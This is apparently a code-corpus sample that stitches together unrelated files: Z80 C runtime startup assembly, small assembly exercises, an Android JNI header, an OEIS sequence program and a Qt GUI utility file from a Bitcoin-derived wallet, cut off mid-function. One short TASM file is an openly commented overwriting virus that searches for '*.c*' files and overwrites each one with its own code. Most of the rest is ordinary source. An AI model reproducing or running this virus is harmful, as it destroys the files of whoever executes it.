; __clib_open_max = max number of open fds specified by user
; 3 = number of static file descriptors created
PUBLIC __fcntl_fdtbl
PUBLIC __fcntl_fdtbl_size
IF 3 > 0
; create rest of fd table in data segment
SECTION data_fcntl_fdtable_body
EXTERN __data_fcntl_fdtable_body_head
defc __fcntl_fdtbl = __data_fcntl_fdtable_body_head
IF __clib_open_max > 3
SECTION data_fcntl_fdtable_body
defs (__clib_open_max - 3) * 2
defc __fcntl_fdtbl_size = __clib_open_max
ELSE
defc __fcntl_fdtbl_size = 3
ENDIF
ELSE
IF __clib_open_max > 0
; create fd table in bss segment
SECTION bss_clib
SECTION bss_fcntl
__fcntl_fdtbl: defs __clib_open_max * 2
ELSE
; no fd table at all
defc __fcntl_fdtbl = 0
ENDIF
defc __fcntl_fdtbl_size = __clib_open_max
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; finalize stdio heap
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; __clib_stdio_heap_size = desired stdio heap size in bytes
; 140 = byte size of static FDSTRUCTs
; 2 = number of heap allocations
; __i_fcntl_heap_n = address of allocation #n on heap (0..__I_FCNTL_NUM_HEAP-1)
IF 140 > 0
; static FDSTRUCTs have been allocated in the heap
SECTION data_clib
SECTION data_fcntl
PUBLIC __stdio_heap
__stdio_heap: defw __stdio_block
SECTION data_fcntl_stdio_heap_head
__stdio_block:
defb 0 ; no owner
defb 0x01 ; mtx_plain
defb 0 ; number of lock acquisitions
defb 0xfe ; spinlock (unlocked)
defw 0 ; list of threads blocked on mutex
IF __clib_stdio_heap_size > (140 + 14)
; expand stdio heap to desired size
SECTION data_fcntl_stdio_heap_body
__i_fcntl_heap_2:
defw __i_fcntl_heap_3
defw 0
defw __i_fcntl_heap_1
defs __clib_stdio_heap_size - 140 - 14
; terminate stdio heap
SECTION data_fcntl_stdio_heap_tail
__i_fcntl_heap_3: defw 0
ELSE
; terminate stdio heap
SECTION data_fcntl_stdio_heap_tail
__i_fcntl_heap_2: defw 0
ENDIF
ELSE
; no FDSTRUCTs statically created
IF __clib_stdio_heap_size > 14
SECTION data_clib
SECTION data_fcntl
PUBLIC __stdio_heap
__stdio_heap: defw __stdio_block
SECTION bss_clib
SECTION bss_fcntl
PUBLIC __stdio_block
__stdio_block: defs __clib_stdio_heap_size
SECTION code_crt_init
ld hl,__stdio_block
ld bc,__clib_stdio_heap_size
EXTERN asm_heap_init
call asm_heap_init
ENDIF
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; STARTUP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SECTION CODE
PUBLIC __Start, __Exit
EXTERN _main
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; USER PREAMBLE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __crt_include_preamble
include "crt_preamble.asm"
SECTION CODE
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; PAGE ZERO ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF (ASMPC = 0) && (__crt_org_code = 0)
include "../crt_page_zero.inc"
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; CRT INIT ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
__Start:
include "../crt_start_eidi.inc"
IF (__crt_on_exit & 0x10000) && (__crt_on_exit & 0x20000) && (!(__crt_on_exit & 0x8)) && (__crt_on_exit & 0x2)
; returning to basic
push iy
exx
push hl
IF __crt_enable_commandline = 2
exx
ENDIF
ENDIF
include "../crt_save_sp.inc"
__Restart:
include "../crt_init_sp.inc"
; command line
IF (__crt_enable_commandline = 1) || (__crt_enable_commandline >= 3)
include "../crt_cmdline_empty.inc"
ENDIF
__Restart_2:
IF __crt_enable_commandline >= 1
IF __SDCC | __SDCC_IX | __SDCC_IY
push hl ; argv
push bc ; argc
ELSE
push bc ; argc
push hl ; argv
ENDIF
ENDIF
; initialize data section
include "../clib_init_data.inc"
; initialize bss section
include "../clib_init_bss.inc"
; enforce code section name
include "../crt_enforce_code_section_name.inc"
SECTION code_crt_init ; user and library initialization
SECTION code_crt_main
; call user program
call _main ; hl = return status
; run exit stack
IF __clib_exit_stack_size > 0
EXTERN asm_exit
jp asm_exit ; exit function jumps to __Exit
ENDIF
__Exit:
IF !((__crt_on_exit & 0x10000) && (__crt_on_exit & 0x8))
; not restarting
push hl ; save return status
ENDIF
SECTION code_crt_exit ; user and library cleanup
SECTION code_crt_return
; close files
include "../clib_close.inc"
; terminate
IF (__crt_on_exit & 0x10000) && (__crt_on_exit & 0x20000) && (!(__crt_on_exit & 0x8)) && (__crt_on_exit & 0x2)
; returning to basic
pop bc
ld sp,(__sp_or_ret)
exx
pop hl
exx
pop iy
im 1
ei
ret
ELSE
include "../crt_exit_eidi.inc"
include "../crt_restore_sp.inc"
include "../crt_program_exit.inc"
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; RUNTIME VARS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF (__crt_on_exit & 0x10000) && ((__crt_on_exit & 0x6) || ((__crt_on_exit & 0x8) && (__register_sp = -1)))
SECTION BSS_UNINITIALIZED
__sp_or_ret: defw 0
ENDIF
include "../clib_variables.inc"
include "clib_target_variables.inc"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; CLIB STUBS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include "../clib_stubs.inc"
|
lda 1
ldr r0, 0 ;Load initial values
ldr r1, 1
loop:
add r0
mov r0, r1
mov r1, a ;Add to accumulator
sjmp loop ;Loop |
; size_t w_array_erase_range(w_array_t *a, size_t idx_first, size_t idx_last)
SECTION code_clib
SECTION code_adt_w_array
PUBLIC w_array_erase_range
EXTERN asm_w_array_erase_range
w_array_erase_range:
pop af
pop hl
pop bc
pop de
push de
push bc
push hl
push af
jp asm_w_array_erase_range
|
#pragma once
#include "../../JObject.hpp"
namespace android::os
{
class Parcel;
}
class JString;
namespace android::telecom
{
class VideoProfile : public JObject
{
public:
// Fields
static JObject CREATOR();
static jint QUALITY_DEFAULT();
static jint QUALITY_HIGH();
static jint QUALITY_LOW();
static jint QUALITY_MEDIUM();
static jint STATE_AUDIO_ONLY();
static jint STATE_BIDIRECTIONAL();
static jint STATE_PAUSED();
static jint STATE_RX_ENABLED();
static jint STATE_TX_ENABLED();
// QJniObject forward
template<typename ...Ts> explicit VideoProfile(const char *className, const char *sig, Ts...agv) : JObject(className, sig, std::forward<Ts>(agv)...) {}
VideoProfile(QJniObject obj);
// Constructors
VideoProfile(jint arg0);
VideoProfile(jint arg0, jint arg1);
// Methods
static jboolean isAudioOnly(jint arg0);
static jboolean isBidirectional(jint arg0);
static jboolean isPaused(jint arg0);
static jboolean isReceptionEnabled(jint arg0);
static jboolean isTransmissionEnabled(jint arg0);
static jboolean isVideo(jint arg0);
static JString videoStateToString(jint arg0);
jint describeContents() const;
jint getQuality() const;
jint getVideoState() const;
JString toString() const;
void writeToParcel(android::os::Parcel arg0, jint arg1) const;
};
} // namespace android::telecom
|
%include "io64.inc"
section .text
global CMAIN
CMAIN:
;write your code here
;div param1(1byte)
;param1 : 레지스터만 허용
;나누어지는 값(피제수)은 꼭 ax레지스터에 넣어야함
;연산결과는 무조건 al(몫), ah(나머지)레지스터로만 리턴됨
;7/3을 계산하는 방법
mov ax, word 0x7
mov bl, byte 0x3
div bl
PRINT_STRING msg1
PRINT_HEX 1, al
NEWLINE
mov bl, ah
PRINT_STRING msg2
PRINT_HEX 1, bl
NEWLINE
xor rax, rax
ret
section .data
msg1 db "val : ", 0x00
msg2 db "remainder : ", 0x00 |
.model tiny ;Sets memory model for TASM
.radix 16 ;Sets default number system to hexidecimal (base 16)
.code ;starts code section
org 100 ;makes program begin at 100h, i.e. a .COM file
start: ;beginning label
mov ah,4e ;set ah to 4e, sets function called by int 21
;to find first match
mov dx,offset file_mask ;sets search to look for *.com
search:
int 21 ;executes find first match function
jc quit ;if there aren't any files, ends
mov ax,3d02 ;open file read/write mode
mov dx,9e ;pointer to name found by findfirst
int 21
xchg ax,bx ;moves file handle to bx from ax
mov ah,40 ;sets ah to write to file function
mov cl,[ender-start] ;overwrites file
mov dx,100 ;starting address for coms, write from
int 21 ;beginning of virus
mov ah,3e
int 21 ;closes file handle
mov ah,4f
jmp short search ;jumps back set to find next
quit:
int 20 ;ends program
file_mask db '*.c*',0 ;file mask to match to programs
ender: ;label for size calculation
end start ;end of code
|
; A058296: Average of consecutive primes.
; 2,4,9,15,21,30,39,45,56,64,72,81,93,102,108,120,134,144,154,165,176,186,195,205,225,231,240,254,266,274,282,300,312,324,342,351,363,376,386,399,414,426,436,446,459,465,483,495,506,522,544,560,570,582,596,604,615,625,642,650,660,675,687,705,723,736,747,759,771,792,810,822,828,846,858,870,882,897,915,933,944,960,974,987,1003,1016,1026,1036,1050,1062,1078,1092,1100,1113,1126,1152,1167,1184,1197,1215
mul $0,2
trn $0,1
seq $0,1043 ; Numbers that are the sum of 2 successive primes.
div $0,2
|
// Copyright (c) 2011-2019 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <qt/guiutil.h>
#include <qt/zeoaddressvalidator.h>
#include <qt/zeounits.h>
#include <qt/qvalidatedlineedit.h>
#include <qt/sendcoinsrecipient.h>
#include <base58.h>
#include <chainparams.h>
#include <interfaces/node.h>
#include <key_io.h>
#include <policy/policy.h>
#include <primitives/transaction.h>
#include <protocol.h>
#include <script/script.h>
#include <script/standard.h>
#include <util/system.h>
#ifdef WIN32
#ifdef _WIN32_IE
#undef _WIN32_IE
#endif
#define _WIN32_IE 0x0501
#define WIN32_LEAN_AND_MEAN 1
#ifndef NOMINMAX
#define NOMINMAX
#endif
#include <shellapi.h>
#include <shlobj.h>
#include <shlwapi.h>
#endif
#include <QAbstractItemView>
#include <QApplication>
#include <QClipboard>
#include <QDateTime>
#include <QDesktopServices>
#include <QDoubleValidator>
#include <QFileDialog>
#include <QFont>
#include <QFontDatabase>
#include <QFontMetrics>
#include <QGuiApplication>
#include <QKeyEvent>
#include <QLineEdit>
#include <QList>
#include <QMouseEvent>
#include <QProgressDialog>
#include <QScreen>
#include <QSettings>
#include <QSize>
#include <QString>
#include <QTextDocument> // for Qt::mightBeRichText
#include <QThread>
#include <QUrlQuery>
#include <QtGlobal>
#if defined(Q_OS_MAC)
#include <QProcess>
void ForceActivation();
#endif
namespace GUIUtil {
QString dateTimeStr(const QDateTime &date)
{
return date.date().toString(Qt::SystemLocaleShortDate) + QString(" ") + date.toString("hh:mm");
}
QString dateTimeStr(qint64 nTime)
{
return dateTimeStr(QDateTime::fromTime_t((qint32)nTime));
}
QFont fixedPitchFont()
{
return QFontDatabase::systemFont(QFontDatabase::FixedFont);
}
// Just some dummy data to generate a convincing random-looking (but consistent) address
static const uint8_t dummydata[] = {0xeb,0x15,0x23,0x1d,0xfc,0xeb,0x60,0x92,0x58,0x86,0xb6,0x7d,0x06,0x52,0x99,0x92,0x59,0x15,0xae,0xb1,0x72,0xc0,0x66,0x47};
// Generate a dummy address with invalid CRC, starting with the network prefix.
static std::string DummyAddress(const CChainParams ¶ms)
{
std::vector<unsigned char> sourcedata = params.Base58Prefix(CChainParams::PUBKEY_ADDRESS);
sourcedata.insert(sourcedata.end(), dummydata, dummydata + sizeof(dummydata));
for(int i=0; i<256; ++i) { // Try every trailing byte
std::string s = EncodeBase58(sourcedata.data(), sourcedata.data() + sourcedata.size());
if (!IsValidDestinationString(s)) {
return s;
}
sourcedata[sourcedata.size()-1] += 1;
}
return "";
}
void setupAddressWidget(QValidatedLineEdit *widget, QWidget *parent)
{
parent->setFocusProxy(widget);
widget->setFont(fixedPitchFont());
// We don't want translators to use own addresses in translations
// and this is the only place, where this address is supplied.
widget->setPlaceholderText(QObject::tr("Enter a Zeo address (e.g. %1)").arg(
QString::fromStdString(DummyAddress(Params()))));
widget->setValidator(new ZeoAddressEntryValidator(parent));
widget->setCheckValidator(new ZeoAddressCheckValidator(parent));
}
bool parseZeoURI(const QUrl &uri, SendCoinsRecipient *out)
{
// return if URI is not valid or is no zeo: URI
if(!uri.isValid() || uri.scheme() != QString("zeo"))
return false;
SendCoinsRecipient rv;
rv.address = uri.path();
// Trim any following forward slash which may have been added by the OS
if (rv.address.endsWith("/")) {
rv.address.truncate(rv.address.length() - 1);
}
rv.amount = 0;
QUrlQuery uriQuery(uri);
QList<QPair<QString, QString> > items = uriQuery.queryItems();
for (QList<QPair<QString, QString> >::iterator i = items.begin(); i != items.end(); i++)
{
bool fShouldReturnFalse = false;
if (i->first.startsWith("req-"))
{
i->first.remove(0, 4);
fShouldReturnFalse = true;
}
if (i->first == "label")
{
rv.label = i->second;
fShouldReturnFalse = false;
}
if (i->first == "message")
{
rv.message = i->second;
fShouldReturnFalse = false;
}
else if (i->first == "amount")
{
if(!i->second.isEmpty())
{
if(!ZeoUnits::parse(ZeoUnits::ZEO, i->second, &rv.amount))
{
return false;
}
}
fShouldReturnFalse = false;
}
if (fShouldReturnFalse)
return false;
}
if(out)
{
*out = rv;
}
return true;
}
bool parseZeoURI(QString uri, SendCoinsRecipient *out)
{
QUrl uriInstance(uri);
return parseZeoURI(uriInstance, out);
}
QString formatZeoURI(const SendCoinsRecipient &info)
{
bool bech_32 = info.address.startsWith(QString::fromStdString(Params().Bech32HRP() + "1"));
QString ret = QString("zeo:%1").arg(bech_32 ? info.address.toUpper() : info.address);
int paramCount = 0;
if (info.amount)
{
ret += QString("?amount=%1").arg(ZeoUnits::format(ZeoUnits::ZEO, info.amount, false, ZeoUnits::separatorNever));
paramCount++;
}
if (!info.label.isEmpty())
{
QString lbl(QUrl::toPercentEncoding(info.label));
ret += QString("%1label=%2").arg(paramCount == 0 ? "?" : "&").arg(lbl);
paramCount++;
}
if (!info.message.isEmpty())
{
QString msg(QUrl::toPercentEncoding(info.message));
ret += QString("%1message=%2").arg(paramCount == 0 ? "?" : "&").arg(msg);
paramCount++;
}
return ret;
}
bool isDust(interfaces::Node& node, const QString& address, const CAmount& amount)
{
CTxDestination dest = DecodeDestination(address.toStdString());
CScript script = GetScriptForDestination(dest);
CTxOut txOut(amount, script);
return IsDust(txOut, node.getDustRelayFee());
}
QString HtmlEscape(const QString& str, bool fMultiLine)
{
QString escaped = str.toHtmlEscaped();
if(fMultiLine)
{
escaped = escaped.replace("\n", "<br>\n");
}
return escaped;
}
QString HtmlEscape(const std::string& str, bool fMultiLine)
{
return HtmlEscape(QString::fromStdString(str), fMultiLine);
}
void copyEntryData(QAbstractItemView *view, int column, int role)
{
if(!view || !view->selectionModel())
return;
QModelIndexList selection = view->selectionModel()->selectedRows(column);
if(!selection.isEmpty())
{
// Copy first item
setClipboard(selection.at(0).data(role).toString());
}
}
QList<QModelIndex> getEntryData(QAbstractItemView *view, int column)
{
if(!view || !view->selectionModel())
return QList<QModelIndex>();
return view->selectionModel()->selectedRows(column);
}
QString getDefaultDataDirectory()
{
return boostPathToQString(GetDefaultDataDir());
}
QString getSaveFileName(QWidget *parent, const QString &caption, const QString &dir,
const QString &filter,
QString *selectedSuffixOut)
{
QString selectedFilter;
QString myDir;
if(dir.isEmpty()) // Default to user documents location
{
myDir = QStandardPaths::writableLocation(QStandardPaths::DocumentsLocation);
}
else
{
myDir = dir;
}
/* Directly convert path to native OS path separators */
QString result = QDir::toNativeSeparators(QFileDialog::getSaveFileName(parent, caption, myDir, filter, &selectedFilter));
/* Extract first suffix from filter pattern "Description (*.foo)" or "Description (*.foo *.bar ...) */
QRegExp filter_re(".* \\(\\*\\.(.*)[ \\)]");
QString selectedSuffix;
if(filter_re.exactMatch(selectedFilter))
{
selectedSuffix = filter_re.cap(1);
}
/* Add suffix if needed */
QFileInfo info(result);
if(!result.isEmpty())
{
if(info.suffix().isEmpty() && !selectedSuffix.isEmpty())
{
/* No suffix specified, add selected suffix */
if(!result.endsWith("."))
result.append(".");
result.append(selectedSuffix);
}
}
/* Return selected suffix if asked to */
if(selectedSuffixOut)
{
*selectedSuffixOut = selectedSuffix;
}
return result;
}
QString getOpenFileName(QWidget *parent, const QString &caption, const QString &dir,
const QString &filter,
QString *selectedSuffixOut)
{
QString selectedFilter;
QString myDir;
if(dir.isEmpty()) // Default to user documents location
{
myDir = QStandardPaths::writableLocation(QStandardPaths::DocumentsLocation);
}
else
{
myDir = dir;
}
/* Directly convert path to native OS path separators */
QString result = QDir::toNativeSeparators(QFileDialog::getOpenFileName(parent, caption, myDir, filter, &selectedFilter));
if(selectedSuffixOut)
{
/* Extract first suffix from filter pattern "Description (*.foo)" or "Description (*.foo *.bar ...) */
QRegExp filter_re(".* \\(\\*\\.(.*)[ \\)]");
QString selectedSuffix;
if(filter_re.exactMatch(selectedFilter))
{
selectedSuffix = filter_re.cap(1);
}
*selectedSuffixOut = selectedSuffix;
}
return result;
}
Qt::ConnectionType blockingGUIThreadConnection()
{
if(QThread::currentThread() != qApp->thread())
{
return Qt::BlockingQueuedConnection;
}
else
{
return Qt::DirectConnection;
}
}
bool checkPoint(const QPoint &p, const QWidget *w)
{
QWidget *atW = QApplication::widgetAt(w->mapToGlobal(p));
if (!atW) return false;
return atW->window() == w;
}
bool isObscured(QWidget *w)
{
return !(checkPoint(QPoint(0, 0), w)
&& checkPoint(QPoint(w->width() - 1, 0), w)
&& checkPoint(QPoint(0, w->height() - 1), w)
&& checkPoint(QPoint(w->width() - 1, w->height() - 1), w)
&& checkPoint(QPoint(w->width() / 2, w->height() / 2), w));
}
void bringToFront(QWidget* w)
{
#ifdef Q_OS_MAC
ForceActivation();
#endif
if (w) {
// activateWindow() (sometimes) helps with keyboard focus on Windows
if (w->isMinimized()) {
w->showNormal();
} else {
w->show();
}
w->activateWindow();
w->raise();
}
}
void openDebugLogfile()
{
fs::path pathDebug = GetDataDir() / "debug.log";
/* Open debug.log with the associated application */
if (fs::exists(pathDebug))
QDesktopServices::openUrl(QUrl::fromLocalFile(boostPathToQString(pathDebug)));
}
bool openZeoConf()
{
fs::path pathConfig = GetConfigFile(gArgs.GetArg("-conf", ZEO_CONF_FILENAME));
/* Create the file */
fsbridge::ofstream configFile(pathConfig, std::ios_base::app);
if (!configFile.good())
return false;
configFile.close();
/* Open zeo.conf with the associated application */
bool res = QDesktopServices::openUrl(QUrl::fromLocalFile(boostPathToQString(pathConfig)));
#ifdef Q_OS_MAC
// Workaround for macOS-specific behavior; see #15409.
if (!res) {
res = QProcess::startDetached("/usr/bin/open", QStringList{"-t", boostPathToQString(pathConfig)});
}
#endif
return res;
}
ToolTipToRichTextFilter::ToolTipToRichTextFilter(int _size_threshold, QObject *parent) :
QObject(parent),
size_threshold(_size_threshold)
{
}
bool ToolTipToRichTextFilter::eventFilter(QObject *obj, QEvent *evt)
{
if(evt->type() == QEvent::ToolTipChange)
{
QWidget *widget = static_cast<QWidget*>(obj);
QString tooltip = widget->toolTip();
if(tooltip.size() > size_threshold && !tooltip.startsWith("<qt") && !Qt::mightBeRichText(tooltip))
{
// Envelop with <qt></qt> to make sure Qt detects this as rich text
// Escape the current message as HTML and replace \n by <br>
tooltip = "<qt>" + HtmlEscape(tooltip, true) + "</qt>";
widget->setToolTip(tooltip);
return true;
}
}
return QObject::eventFilter(obj, evt);
}
void TableViewLastColumnResizingFixer::connectViewHeadersSignals()
{
connect(tableView->horizontalHeader(), &QHeaderView::sectionResized, this, &TableViewLastColumnResizingFixer::on_sectionResized);
connect(tableView->horizontalHeader(), &QHeaderView::geometriesChanged, this, &TableViewLastColumnResizingFixer::on_geometriesChanged);
}
// We need to disconnect these while handling the resize events, otherwise we can enter infinite loops.
void TableViewLastColumnResizingFixer::disconnectViewHeadersSignals()
{
disconnect(tableView->horizontalHeader(), &QHeaderView::sectionResized, this, &TableViewLastColumnResizingFixer::on_sectionResized);
disconnect(tableView->horizontalHeader(), &QHeaderView::geometriesChanged, this, &TableViewLastColumnResizingFixer::on_geometriesChanged);
}
// Setup the resize mode, handles compatibility for Qt5 and below as the method signatures changed.
// Refactored here for readability.
void TableViewLastColumnResizingFixer::setViewHeaderResizeMode(int logicalIndex, QHeaderView::ResizeMode resizeMode)
{
tableView->horizontalHeader()->setSectionResizeMode(logicalIndex, resizeMode);
}
void TableViewLastColumnResizingFixer::resizeColumn(int nColumnIndex, int width)
{
tableView->setColumnWidth(nColumnIndex, width);
tableView->horizontalHeader()->resizeSection(nColumnIndex, width);
}
int TableViewLastColumnResizingFixer::getColumnsWidth()
{
int nColumnsWidthSum = 0;
for (int i = 0; i < columnCount; i++)
{
nColumnsWidthSum += tableView->horizontalHeader()->sectionSize(i);
}
return nColumnsWidthSum;
}
int TableViewLastColumnResizingFixer::getAvailableWidthForColumn(int column)
{
int nResult = lastColumnMinimumWidth;
int nTableWidth = tableView->horizontalHeader()->width();
if (nTableWidth > 0)
{
int nOtherColsWidth = getColumnsWidth() - tableView->horizontalHeader()->sectionSize(column);
nResult = std::max(nResult, nTableWidth - nOtherColsWidth);
}
return nResult;
}
// Make sure we don't make the columns wider than the table's viewport width.
void TableViewLastColumnResizingFixer::adjustTableColumnsWidth()
{
disconnectViewHeadersSignals();
resizeColumn(lastColumnIndex, getAvailableWidthForColumn(lastColumnIndex));
connectViewHeadersSignals();
int nTableWidth = tableView->horizontalHeader()->width();
int nColsWidth = getColumnsWidth();
if (nColsWidth > nTableWidth)
{
resizeColumn(secondToLastColumnIndex,getAvailableWidthForColumn(secondToLastColumnIndex));
}
}
// Make column use all the space available, useful during window resizing.
void TableViewLastColumnResizingFixer::stretchColumnWidth(int column)
{
disconnectViewHeadersSignals();
resizeColumn(column, getAvailableWidthForColumn(column));
connectViewHeadersSignals();
}
// When a section is resized this is a slot-proxy for ajustAmountColumnWidth().
void TableViewLastColumnResizingFixer::on_sectionResized(int logicalIndex, int oldSize, int newSize)
{
adjustTableColumnsWidth();
int remainingWidth = getAvailableWidthForColumn(logicalIndex);
if (newSize > remainingWidth)
{
resizeColumn(logicalIndex, remainingWidth);
}
}
// When the table's geometry is ready, we manually perform the stretch of the "Message" column,
// as the "Stretch" resize mode does not allow for interactive resizing.
void TableViewLastColumnResizingFixer::on_geometriesChanged()
{
if ((getColumnsWidth() - this->tableView->horizontalHeader()->width()) != 0)
{
disconnectViewHeadersSignals();
resizeColumn(secondToLastColumnIndex, getAvailableWidthForColumn(secondToLastColumnIndex));
connectViewHeadersSignals();
}
}
/**
* Initializes all internal variables and prepares the
* the resize modes of the last 2 columns of the table and
*/
TableViewLastColumnResizingFixer::TableViewLastColumnResizingFixer(QTableView* table, int lastColMinimumWidth, int allColsMinimumWidth, QObject *parent) :
QObject(parent),
tableView(table),
lastColumnMinimumWidth(lastColMinimumWidth),
allColumnsMinimumWidth(allColsMinimumWidth)
{
columnCount = tableView->horizontalHeader()->count();
lastColumnIndex = columnCount - 1;
secondToLastColumnIndex = columnCount - 2;
tableView->horizontalHeader()->setMinimumSectionSize(allColumnsMinimumWidth);
setViewHeaderResizeMode(secondToLastColumnIndex, QHeaderView::Interactive);
setViewHeaderResizeMode(lastColumnIndex, QHeaderView::Interactive);
}
#ifdef WIN32
fs::path static StartupShortcutPath()
{
std::string chain = gArgs.GetChainName();
if (chain == CBaseChainParams::MAIN)
return GetSpecialFolderPath(CSIDL_STARTUP) / "Zeo.lnk";
if (chain == CBaseChainParams::TESTNET) // Remove this special case when CBaseChainParams::TESTNET = "testnet4"
return GetSpecialFolderPath(CSIDL_STARTUP) / "Zeo (testnet).lnk";
return GetSpecialFolderPath(CSIDL_STARTUP) / strprintf("Zeo (%s).lnk", chain);
}
bool GetStartOnSystemStartup()
{
// check for Zeo*.lnk
return fs::exists(StartupShortcutPath());
}
bool SetStartOnSystemStartup(bool fAutoStart)
{
// If the shortcut exists already, remove it for updating
fs::remove(StartupShortcutPath());
if (fAutoStart)
{
CoInitialize(nullptr);
// Get a pointer to the IShellLink interface.
IShellLinkW* psl = nullptr;
HRESULT hres = CoCreateInstance(CLSID_ShellLink, nullptr,
CLSCTX_INPROC_SERVER, IID_IShellLinkW,
reinterpret_cast<void**>(&psl));
if (SUCCEEDED(hres))
{
// Get the current executable path
WCHAR pszExePath[MAX_PATH];
GetModuleFileNameW(nullptr, pszExePath, ARRAYSIZE(pszExePath));
// Start client minimized
QString strArgs = "-min";
// Set -testnet /-regtest options
strArgs += QString::fromStdString(strprintf(" -chain=%s", gArgs.GetChainName()));
// Set the path to the shortcut target
psl->SetPath(pszExePath);
PathRemoveFileSpecW(pszExePath);
psl->SetWorkingDirectory(pszExePath);
psl->SetShowCmd(SW_SHOWMINNOACTIVE);
psl->SetArguments(strArgs.toStdWString().c_str());
// Query IShellLink for the IPersistFile interface for
// saving the shortcut in persistent storage.
IPersistFile* ppf = nullptr;
hres = psl->QueryInterface(IID_IPersistFile, reinterpret_cast<void**>(&ppf));
if (SUCCEEDED(hres))
{
// Save the link by calling IPersistFile::Save.
hres = ppf->Save(StartupShortcutPath().wstring().c_str(), TRUE);
ppf->Release();
psl->Release();
CoUninitialize();
return true;
}
psl->Release();
}
CoUninitialize();
return false;
}
return true;
}
#elif defined(Q_OS_LINUX)
// Follow the Desktop Application Autostart Spec:
// http://standards.freedesktop.org/autostart-spec/autostart-spec-latest.html
fs::path static GetAutostartDir()
{
char* pszConfigHome = getenv("XDG_CONFIG_HOME");
if (pszConfigHome) return fs::path(pszConfigHome) / "autostart";
char* pszHome = getenv("HOME");
if (pszHome) return fs::path(pszHome) / ".config" / "autostart";
return fs::path();
}
fs::path static GetAutostartFilePath()
{
std::string chain = gArgs.GetChainName();
if (chain == CBaseChainParams::MAIN)
return GetAutostartDir() / "zeo.desktop";
return GetAutostartDir() / strprintf("zeo-%s.desktop", chain);
}
bool GetStartOnSystemStartup()
{
fsbridge::ifstream optionFile(GetAutostartFilePath());
if (!optionFile.good())
return false;
// Scan through file for "Hidden=true":
std::string line;
while (!optionFile.eof())
{
getline(optionFile, line);
if (line.find("Hidden") != std::string::npos &&
line.find("true") != std::string::npos)
return false;
}
optionFile.close();
return true;
}
bool SetStartOnSystemStartup(bool fAutoStart)
{
if (!fAutoStart)
fs::remove(GetAutostartFilePath());
else
{
char pszExePath[MAX_PATH+1];
ssize_t r = readlink("/proc/self/exe", pszExePath, sizeof(pszExePath) - 1);
if (r == -1)
return false;
pszExePath[r] = '\0';
fs::create_directories(GetAutostartDir());
fsbridge::ofstream optionFile(GetAutostartFilePath(), std::ios_base::out | std::ios_base::trunc);
if (!optionFile.good())
return false;
std::string chain = gArgs.GetChainName();
// Write a zeo.desktop file to the autostart directory:
optionFile << "[Desktop Entry]\n";
optionFile << "Type=Application\n";
if (chain == CBaseChainParams::MAIN)
optionFile << "Name=Zeo\n";
else
optionFile << strprintf("Name=Zeo (%s)\n", chain);
optionFile << "Exec=" << pszExePath << strprintf(" -min -chain=%s\n", chain);
optionFile << "Terminal=false\n";
optionFile << "Hidden=false\n";
optionFile.close();
}
return true;
}
#else
bool GetStartOnSystemStartup() { return false; }
bool SetStartOnSystemStartup(bool fAutoStart) { return false; }
#endif
void setClipboard(const QString& str)
{
QApplication::clipboard()->setText(str, QClipboard::Clipboard);
QApplication::clipboard()->setText(str, QClipboard::Selection);
}
fs::path qstringToBoostPath(const QString &path)
{
return fs::path(path.toStdString());
}
QString boostPathToQString(const fs::path &path)
{
return QString::fromStdString(path.string());
}
QString formatDurationStr(int secs)
{
QStringList strList;
int days = secs / 86400;
int hours = (secs % 86400) / 3600;
int mins = (secs % 3600) / 60;
int seconds = secs % 60;
if (days)
strList.append(QString(QObject::tr("%1 d")).arg(days));
if (hours)
strList.append(QString(QObject::tr("%1 h")).arg(hours));
if (mins)
strList.append(QString(QObject::tr("%1 m")).arg(mins));
if (seconds || (!days && !hours && !mins))
strList.append(QString(QObject::tr("%1 s")).arg(seconds));
return strList.join(" ");
}
QString serviceFlagToStr(const quint64 mask, const int bit)
{
switch (ServiceFlags(mask)) {
case NODE_NONE: abort(); // impossible
case NODE_NETWORK: return "NETWORK";
case NODE_GETUTXO: return "GETUTXO";
case NODE_BLOOM: return "BLOOM";
case NODE_WITNESS: return "WITNESS";
case NODE_NETWORK_LIMITED: return "NETWORK_LIMITED";
